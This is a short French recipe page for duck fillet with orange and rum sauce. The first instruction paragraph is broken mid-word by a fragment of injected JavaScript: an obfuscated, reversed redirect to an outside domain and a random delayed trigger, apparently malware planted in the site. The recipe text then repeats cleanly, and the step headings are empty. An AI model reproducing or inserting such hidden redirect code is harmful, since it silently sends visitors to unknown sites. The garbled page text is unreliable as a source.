Filet de canard à l’orange
2021-06-08- Niveau : Difficile
Prélevez le zeste de deux oranges et pressez les 4 oranges. Versez le jus d’orange et le rhum dans un plat creux, plongez les filets de canard pendant 1 heure, les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tourner souvent.
Ingrédients
Prélevez le zeste de deux oranges et pressez les 4 oranges. Versez le jus d'orange et le rhum dans un plat creux, plongez les filets de canard pendant 1 heure, les retourner souvent. A ce moment les égoutter. Dans une poêle avec 2 cuillères à soupe d'huile d'olive, sur feu vif, faites les cuire pendant 15 minutes selon l'épaisseur des filets. Mouillez avec le jus de la marinade orange /zeste / rhum / dans une casserole, faites réduire tout en remuant, ajoutez la crème fleurette et obtenir une sauce homogène. Disposez les filets dans un plat de service, nappez de sauce et dégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
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